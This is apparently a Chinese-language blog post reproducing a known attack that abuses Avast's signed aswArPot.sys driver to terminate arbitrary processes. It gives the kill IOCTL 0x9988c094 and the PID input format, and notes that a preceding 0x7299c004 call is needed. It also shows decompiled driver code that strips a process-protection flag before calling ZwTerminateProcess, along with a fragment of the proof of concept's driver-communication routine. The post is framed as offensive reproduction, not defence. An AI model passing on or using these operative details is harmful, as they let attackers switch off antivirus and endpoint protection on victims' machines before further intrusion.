

使用的是 `aswArPot.sys` 这个驱动，非常简单，熟悉驱动编写的很快会编写出POC，是前两天看到群友发的分析文章：

https://www.aon.com/cyber-solutions/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-antivirus-driver/

1 然后复现了一下，简单的才可以复现，难的就不会了，想上吊了，555...

1 总而言之，发送`0x9988c094`这个IOCTL即可，然后`DeviceIoControl`直接给PID即可，他是一个`_CLIENT_ID`结构，第二个`UniqueThread`我们不用管，所以直接发一个PID的地址过去就好。

对应如下：

```
390  *(_DWORD *)a7 = result;
391  a7[1] = 0i64;
392  return result;
393  case 0x9988c094:
394  if ( a3 != 4 || !a2 )
395  goto LABEL_194;
396  result = ((__int64 (__fastcall *)(_QWORD, __int64))sub_14001DC80)((unsigned int *)a2, a8);
397  goto LABEL_148;
398  case 0x9988c098:
399  if ( a3 != 8 || !a2 )
400  goto LABEL_194;
401  result = sub_14001DE10(*(unsigned int *)a2, *((unsigned int *)a2 + 1));
```

```
1  __int64 __fastcall sub_14001DC80(unsigned int a1)
2  {
3  NTSTATUS v1; // eax
4  unsigned int v2; // ebx
5  PVOID Object; // [rsp+30h] [rbp-39h] BYREF
6  void *ProcessHandle; // [rsp+38h] [rbp-31h] BYREF
7  struct _CLIENT_ID ClientId; // [rsp+40h] [rbp-29h] BYREF
8  struct _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp+50h] [rbp-19h] BYREF
9  struct _KAPC_STATE ApcState; // [rsp+80h] [rbp-17h] BYREF
10
11  memset(&ObjectAttributes.RootDirectory, 0, 20);
12  ClientId.UniqueThread = 0i64;
13  *(_OWORD *)&ObjectAttributes.SecurityDescriptor = 0i64;
14  ClientId.UniqueProcess = (HANDLE)a1;
15  ObjectAttributes.Length = 48;
16  KeStackAttachProcess(qword_14004CD60, &ApcState);
17  v1 = ZwOpenProcess(&ProcessHandle, 1u, &ObjectAttributes, &ClientId);
18  v2 = v1 == 0;
19  if ( !v1 )
20  {
21  if ( !ObReferenceObjectByHandle(ProcessHandle, 0, 0i64, 0, &Object, 0i64) )
22  {
23  switch ( dword_14004D448 )
24  {
25  case 0x501:
26  *((_DWORD *)Object + 146) &= ~0x2000u;
27  break;
28  case 0x502:
29  *((_DWORD *)Object + 144) &= ~0x2000u;
30  break;
31  case 0x600:
32  *((_DWORD *)Object + 138) &= ~0x2000u;
33  break;
34  case 0x601:
35  *((_DWORD *)Object + 156) &= ~0x2000u;
36  break;
37  case 0x602:
38  *((_DWORD *)Object + 154) &= ~0x2000u;
39  break;
40  }
41  ObfDereferenceObject(Object);
42  }
43  v2 = ZwTerminateProcess(ProcessHandle, 0);
44  ZwClose(ProcessHandle);
45  }
46  KeUnstackDetachProcess(&ApcState);
47  return v2;
```

调用情况：

```
1 | sub_14001DC80 -> sub_140018FF8 -> sub_140019D54 -> sub_140014890 -> sub_140014B60 -  
  > sub_1400163F0 -> sub_1400216A0 -> DriverEntry
```

1 | 这里还有一点，可以看到原始POC在发送`0x9988c094`这个IOCTL的之前还有一个与这个驱动通信的过程使用的是`0x7299c004`。我也去尝试不先发送这个交互但是是没办法KILL掉的。

POC的驱动交互代码：

```
1 | __int64 __fastcall sub_140050090(  
2 |     __int64 a1,  
3 |     unsigned int a2,  
4 |     __int64 a3,  
5 |     unsigned int a4,  
6 |     int a5,  
7 |     char a6,  
8 |     __int64 a7,  
9 |     __int64 a8,  
0 |     __int64 a9)  
1 | {  
2 |     if ( !byte_1400289B0 )  
3 |         sub_140050000();  
4 |     return qword_1400289A8(a1, a2, a3, a4, a5, a6, a7, a8, a9);  
5 | }
```

